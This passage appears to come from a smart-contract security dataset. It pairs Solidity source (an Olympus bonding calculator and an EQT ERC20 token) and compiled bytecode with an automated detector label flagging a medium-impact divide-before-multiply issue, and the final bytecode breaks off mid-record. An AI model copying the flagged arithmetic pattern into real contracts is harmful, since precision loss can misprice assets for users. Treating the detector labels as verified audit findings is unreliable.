add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } interface IERC20 { function decimals() external view returns (uint8); } interface IUniswapV2ERC20 { function totalSupply() external view returns (uint); } interface IUniswapV2Pair is IUniswapV2ERC20 { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function token0() external view returns ( address ); function token1() external view returns ( address ); } interface IBondingCalculator { function valuation( address pair_, uint amount_ ) external view returns ( uint _value ); } contract OlympusBondingCalculator is IBondingCalculator { using FixedPoint for *; using SafeMath for uint; using SafeMath for uint112; address public immutable OHM; constructor( address _OHM ) { require( _OHM != address(0) ); OHM = _OHM; } function getKValue( address _pair ) public view returns( uint k_ ) { uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals(); uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals(); uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() ); (uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); k_ = reserve0.mul(reserve1).div( 10 ** decimals ); } function getTotalValue( address _pair ) public view returns ( uint _value ) { _value = getKValue( _pair ).sqrrt().mul(2); } function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) { uint totalValue = getTotalValue( _pair ); uint totalSupply = IUniswapV2Pair( _pair ).totalSupply(); _value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 ); } function markdown( address _pair ) external view returns ( uint ) { ( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves(); uint reserve; if ( IUniswapV2Pair( _pair ).token0() == OHM ) { reserve = reserve1; } else { reserve = reserve0; } return reserve.mul( 2 * ( 10 ** IERC20( OHM ).decimals() ) ).div( getTotalValue( _pair ) ); } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f14610094578063490084ef146100c057806368637549146100e6578063a6c41fec1461010c575b600080fd5b6100826004803603602081101561007257600080fd5b50356001600160a01b0316610130565b60408051918252519081900360200190f35b610082600480360360408110156100aa57600080fd5b506001600160a01b038135169060200135610313565b610082600480360360208110156100d657600080fd5b50356001600160a01b03166103bb565b610082600480360360208110156100fc57600080fd5b50356001600160a01b03166106a1565b6101146106c5565b604080516001600160a01b039092168252519081900360200190f35b6000806000836001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561016e57600080fd5b505afa158015610182573d6000803e3d6000fd5b505050506040513d606081101561019857600080fd5b50805160209182015160408051630dfe168160e01b815290516001600160701b0393841696509290911693506000926001600160a01b037f00000000000000000000000064aa3364f17a4d01c6f1751fd97c2bd3d7e7f1d581169390891692630dfe1681926004808301939192829003018186803b15801561021957600080fd5b505afa15801561022d573d6000803e3d6000fd5b505050506040513d602081101561024357600080fd5b50516001600160a01b0316141561025b57508061025e565b50815b61030861026a866106a1565b6103027f00000000000000000000000064aa3364f17a4d01c6f1751fd97c2bd3d7e7f1d56001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d60208110156102f057600080fd5b5051849060ff16600a0a6002026106e9565b90610749565b93505050505b919050565b60008061031f846106a1565b90506000846001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561035c57600080fd5b505afa158015610370573d6000803e3d6000fd5b505050506040513d602081101561038657600080fd5b505190506103b2670de0b6b3a76400006103026103ab6103a6888661078b565b610902565b85906106e9565b95945050505050565b600080826001600160a01b0316630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156103f757600080fd5b505afa15801561040b573d6000803e3d6000fd5b505050506040513d602081101561042157600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561046557600080fd5b505afa158015610479573d6000803e3d6000fd5b505050506040513d602081101561048f57600080fd5b50516040805163d21220a760e01b8152905160ff90921692506000916001600160a01b0386169163d21220a7916004808301926020929190829003018186803b1580156104db57600080fd5b505afa1580156104ef573d6000803e3d6000fd5b505050506040513d602081101561050557600080fd5b50516040805163313ce56760e01b815290516001600160a01b039092169163313ce56791600480820192602092909190829003018186803b15801561054957600080fd5b505afa15801561055d573d6000803e3d6000fd5b505050506040513d602081101561057357600080fd5b50516040805163313ce56760e01b8152905160ff9092169250600091610603916001600160a01b0388169163313ce56791600480820192602092909190829003018186803b1580156105c457600080fd5b505afa1580156105d8573d6000803e3d6000fd5b505050506040513d60208110156105ee57600080fd5b505160ff166105fd858561091a565b90610974565b9050600080866001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561064157600080fd5b505afa158015610655573d6000803e3d6000fd5b505050506040513d606081101561066b57600080fd5b5080516020909101516001600160701b039182169350169050610696600a84900a61030284846106e9565b979650505050505050565b60006106bf60026106b96106b4856103bb565b6109b6565b906106e9565b92915050565b7f00000000000000000000000064aa3364f17a4d01c6f1751fd97c2bd3d7e7f1d581565b6000826106f8575060006106bf565b8282028284828161070557fe5b04146107425760405162461bcd60e51b8152600401808060200182810382526021815260200180610c876021913960400191505060405180910390fd5b9392505050565b600061074283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a20565b610793610c4e565b600082116107d25760405162461bcd60e51b8152600401808060200182810382526026815260200180610c616026913960400191505060405180910390fd5b826107ec57506040805160208101909152600081526106bf565b71ffffffffffffffffffffffffffffffffffff831161089357600082607085901b8161081457fe5b0490506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b6040518060200160405280826001600160e01b03168152509150506106bf565b60006108a484600160701b85610ac2565b90506001600160e01b03811115610873576040805162461bcd60e51b815260206004820152601e60248201527f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f770000604482015290519081900360640190fd5b516612725dd1d243ab6001600160e01b039091160490565b600082820183811015610742576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061074283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b57565b60006003821115610a1257508060006109da6109d3836002610749565b600161091a565b90505b81811015610a0c57809150610a056109fe6109f88584610749565b8361091a565b6002610749565b90506109dd565b5061030e565b811561030e57506001919050565b60008183610aac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a71578181015183820152602001610a59565b50505050905090810190601f168015610a9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ab857fe5b0495945050505050565b6000806000610ad18686610bb1565b9150915060008480610adf57fe5b868809905082811115610af3576001820391505b8083039250848210610b4c576040805162461bcd60e51b815260206004820152601a60248201527f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f77000000000000604482015290519081900360640190fd5b610696838387610bde565b60008184841115610ba95760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610a71578181015183820152602001610a59565b505050900390565b6000808060001984860990508385029250828103915082811015610bd6576001820391505b509250929050565b60008181038216808381610bee57fe5b049250808581610bfa57fe5b049450808160000381610c0957fe5b60028581038087028203028087028203028087028203028087028203028087028203028087028203029586029003909402930460010193909302939093010292915050565b6040805160208101909152600081529056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212202a436ff5d4f3146faa7597d0f4f3c75dc7efbaa300ba8626a6ff4fff848e980164736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
578
0x439c1bed37f9046ee92440188b3928e51b219108
/** *Submitted for verification at Etherscan.io on 2021-05-31 */ pragma solidity 0.4.25; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) balances; uint256 _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send."); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20Token is BasicToken, ERC20 { using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); mapping (address => mapping (address => uint256)) allowed; mapping (address => uint256) public freezeOf; function approve(address _spender, uint256 _value) public returns (bool) { require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve."); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; mapping (address => bool) public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner,"I am not the owner of the wallet."); _; } modifier onlyOwnerOrAdmin() { require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address."); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet."); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setAdmin(address newAdmin) onlyOwner public { require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token."); admin[newAdmin] = true; } function unsetAdmin(address Admin) onlyOwner public { require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet."); admin[Admin] = false; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused,"There is a pause."); _; } modifier whenPaused() { require(paused,"It is not paused."); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0; } uint256 c = a * b; require(c / a == b,"An error occurred in the calculation process"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b !=0,"The number you want to divide must be non-zero."); uint256 c = a / b; require(c * b == a,"An error occurred in the calculation process"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a,"There are more to deduct."); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a,"The number did not increase."); return c; } } contract BurnableToken is BasicToken, Ownable { event Burn(address indexed burner, uint256 amount); function burn(uint256 _value) onlyOwner public { balances[msg.sender] = balances[msg.sender].sub(_value); _totalSupply = _totalSupply.sub(_value); emit Burn(msg.sender, _value); emit Transfer(msg.sender, address(0), _value); } } contract FreezeToken is BasicToken, Ownable { event Freezen(address indexed freezer, uint256 amount); event UnFreezen(address indexed freezer, uint256 amount); mapping (address => uint256) freezeOf; function freeze(uint256 _value) onlyOwner public { balances[msg.sender] = balances[msg.sender].sub(_value); freezeOf[msg.sender] = freezeOf[msg.sender].add(_value); _totalSupply = _totalSupply.sub(_value); emit Freezen(msg.sender, _value); } function unfreeze(uint256 _value) onlyOwner public { require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen."); balances[msg.sender] = balances[msg.sender].add(_value); freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value); _totalSupply = _totalSupply.add(_value); emit Freezen(msg.sender, _value); } } contract EqtToken is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{ using SafeMath for uint256; event Approval(address indexed owner, address indexed spender, uint256 value); event LockerChanged(address indexed owner, uint256 amount); mapping(address => uint) locker; string private _symbol = "EQT Token"; string private _name = "EQT"; uint8 private _decimals = 18; uint256 private TOTAL_SUPPLY = 10*(10**8)*(10**uint256(_decimals)); constructor() DetailedERC20(_name, _symbol, _decimals) public { _totalSupply = TOTAL_SUPPLY; balances[owner] = _totalSupply; emit Transfer(address(0x0), msg.sender, _totalSupply); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){ require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number"); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){ require(_to > address(0) && _from > address(0),"Please check the address" ); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send."); require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { balances[msg.sender] = balances[msg.sender].sub(_balances[i]); balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]); emit Transfer(msg.sender,_recipients[i],_balances[i]); } } function lockOf(address _address) public view returns (uint256 _locker) { return locker[_address]; } function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin { require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding."); locker[_address] = _value; emit LockerChanged(_address, _value); } function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{ require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different."); for (uint i=0; i < _recipients.length; i++) { require(_recipients[i] != address(0),'Please check the address'); locker[_recipients[i]] = _balances[i]; emit LockerChanged(_recipients[i], _balances[i]); } } function() public payable { revert(); } }
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd146102595780631d5397641461028457806323b872dd1461032d578063313ce567146103b25780633f4ba83a146103e357806342966c68146103fa5780634d253b50146104275780635a46d3b51461046a5780635c975abb146104c157806363a846f8146104f0578063661884631461054b5780636623fc46146105b0578063704b6c02146105dd57806370a08231146106205780638456cb5914610677578063859bc2f31461068e5780638da5cb5b1461073757806395d89b411461078e578063a9059cbb1461081e578063b0fc29e614610883578063cd4217c1146108d0578063d73dd62314610927578063d7a78db81461098c578063dd62ed3e146109b9578063f2fde38b14610a30575b600080fd5b34801561017057600080fd5b50610179610a73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b11565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610d27565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b5061032b6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610d31565b005b34801561033957600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611108565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b506103c76117c7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ef57600080fd5b506103f86117da565b005b34801561040657600080fd5b5061042560048036038101908080359060200190929190505050611992565b005b34801561043357600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be2565b005b34801561047657600080fd5b506104ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e97565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611ee0565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef3565b604051808215151515815260200191505060405180910390f35b34801561055757600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f13565b604051808215151515815260200191505060405180910390f35b3480156105bc57600080fd5b506105db600480360381019080803590602001909291905050506121a5565b005b3480156105e957600080fd5b5061061e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612527565b005b34801561062c57600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127dc565b6040518082815260200191505060405180910390f35b34801561068357600080fd5b5061068c612824565b005b34801561069a57600080fd5b5061073560048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506129dd565b005b34801561074357600080fd5b5061074c612e1f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079a57600080fd5b506107a3612e45565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e35780820151818401526020810190506107c8565b50505050905090810190601f1680156108105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561082a57600080fd5b50610869600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ee3565b604051808215151515815260200191505060405180910390f35b34801561088f57600080fd5b506108ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130a9565b005b3480156108dc57600080fd5b50610911600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613384565b6040518082815260200191505060405180910390f35b34801561093357600080fd5b50610972600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061339c565b604051808215151515815260200191505060405180910390f35b34801561099857600080fd5b506109b760048036038101908080359060200190929190505050613598565b005b3480156109c557600080fd5b50610a1a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613817565b6040518082815260200191505060405180910390f35b348015610a3c57600080fd5b50610a71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061389e565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b505050505081565b600080821480610b9d57506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610c37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7481526020017f20746f20617070726f76652e000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ddf575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610e79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515610f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b825181101561110357600073ffffffffffffffffffffffffffffffffffffffff168382815181101515610f7257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611008576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b818181518110151561101657fe5b90602001906020020151600b6000858481518110151561103257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561108857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd383838151811015156110d757fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610f43565b505050565b6000600a60009054906101000a900460ff1615151561118f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161180156111f75750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16115b151561126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611335575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611486836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b611573826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611606826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff161515611949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4974206973206e6f74207061757365642e00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611ace816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2581600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514158015611d7c57508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611e3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001807f5468697320697320616e206578697374696e672061646d696e2077616c6c657481526020017f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722081526020017f77616c6c65742e0000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515612025576000600860003373fffff